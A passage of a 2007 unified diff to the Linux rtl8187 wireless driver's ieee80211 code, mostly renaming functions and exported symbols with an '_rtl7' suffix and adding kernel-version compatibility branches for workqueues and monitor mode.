associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); + ieee80211_randomize_cell_rtl7(ieee); if(ieee->modulation & IEEE80211_CCK_MODULATION){ @@ -1901,9 +1925,9 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1913,13 +1937,13 @@ up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,7 +1951,7 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we @@ -1937,34 +1961,42 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); + ieee80211_reset_queue_rtl7(ieee); if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; @@ -1986,12 +2018,12 @@ */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); spin_lock_irqsave(&ieee->lock, flags); if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -1999,14 +2031,14 @@ up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_probe_resp(ieee, broadcast_addr); + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); if (!skb) return NULL; @@ -2018,12 +2050,12 @@ } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if(!skb) return NULL; @@ -2038,44 +2070,44 @@ return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; ieee->proto_started = 0; - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; @@ -2094,9 +2126,7 @@ if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2109,21 +2139,18 @@ */ if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); @@ -2143,7 +2170,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; @@ -2153,25 +2180,34 @@ init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); #else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); @@ -2179,12 +2215,12 @@ spin_lock_init(&ieee->beacon_lock); tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); @@ -2201,7 +2237,7 @@ ********************************************************/ -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2211,16 +2247,16 @@ } -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { int ret = 0; @@ -2231,7 +2267,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2279,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,14 +2303,14 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { struct ieee80211_security sec = { @@ -2300,13 +2336,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2387,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,7 +2404,7 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; @@ -2407,7 +2443,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2457,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2478,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2561,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2552,20 +2588,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2585,7 +2621,7 @@ return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2633,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-02-26 03:05:16.011549039 +0100 @@ -18,7 +18,7 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { +const long ieee80211_wlan_frequencies_rtl7[] = { 2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, @@ -26,7 +26,7 @@ }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; @@ -46,7 +46,7 @@ int f = fwrq->m / 100000; int c = 0; - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; /* hack to fall through */ @@ -68,8 +68,8 @@ if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -95,7 +95,7 @@ return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -124,7 +124,7 @@ } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) @@ -134,14 +134,14 @@ u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - struct sockaddr *temp = (struct sockaddr *)awrq; - + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; @@ -154,7 +154,7 @@ } if (ifup) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* just to avoid to give inconsistent infos in the * get wx method. not really needed otherwise @@ -167,14 +167,14 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (ifup) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; @@ -209,7 +209,7 @@ } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -223,7 +223,7 @@ -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -233,7 +233,7 @@ return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } @@ -254,9 +253,9 @@ if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); } out: @@ -264,8 +263,14 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) { +#endif short chan; chan = ieee->current_network.channel; @@ -275,12 +280,12 @@ if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); ieee->set_chan(ieee->dev, chan); @@ -291,7 +296,7 @@ ieee->data_hard_resume(ieee->dev); if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); netif_carrier_on(ieee->dev); @@ -299,7 +304,7 @@ } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; @@ -322,7 +327,7 @@ return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { @@ -348,7 +353,7 @@ } if(proto_started) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise @@ -371,13 +376,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,7 +390,7 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -422,7 +427,7 @@ return 0; } -int ieee80211_wx_get_name(struct ieee80211_device *ieee, +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -446,7 +451,7 @@ /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -509,7 +514,7 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -547,19 +552,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-02-26 03:05:16.011549039 +0100 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" @@ -155,7 +158,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +181,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +228,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +238,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +270,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +400,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +435,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +449,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +461,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { 